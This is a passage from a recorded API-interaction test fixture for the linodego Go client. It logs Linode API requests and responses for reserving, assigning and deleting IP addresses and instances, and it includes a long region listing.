X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","assignments":[{"address":"172.105.59.228","linode_id":68361129}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/assign method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/172.105.59.228 method: GET response: body: '{"address": "172.105.59.228", "gateway": "172.105.59.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-59-228.ip.linodeusercontent.com", "linode_id": 68361129, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "268" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/172.105.59.228 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","assignments":[{"address":"192.0.2.1","linode_id":68361128}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/assign method: POST response: body: '{"errors": [{"reason": "IP Address not found."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "49" Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:17 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" status: 400 Bad Request code: 400 duration: "" - request: body: '{"region":"ap-west"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "172.105.59.176", "gateway": "172.105.59.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-59-176.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","assignments":[{"address":"172.105.59.176","linode_id":99999}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/assign method: POST response: body: '{"errors": [{"reason": "Invalid Linode ID 99999"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "51" Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:18 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/172.105.59.176 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/172.105.49.153 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361129 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361128 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestIPAddress_Instance_Share.yaml000066400000000000000000001222221474652371000330750ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": 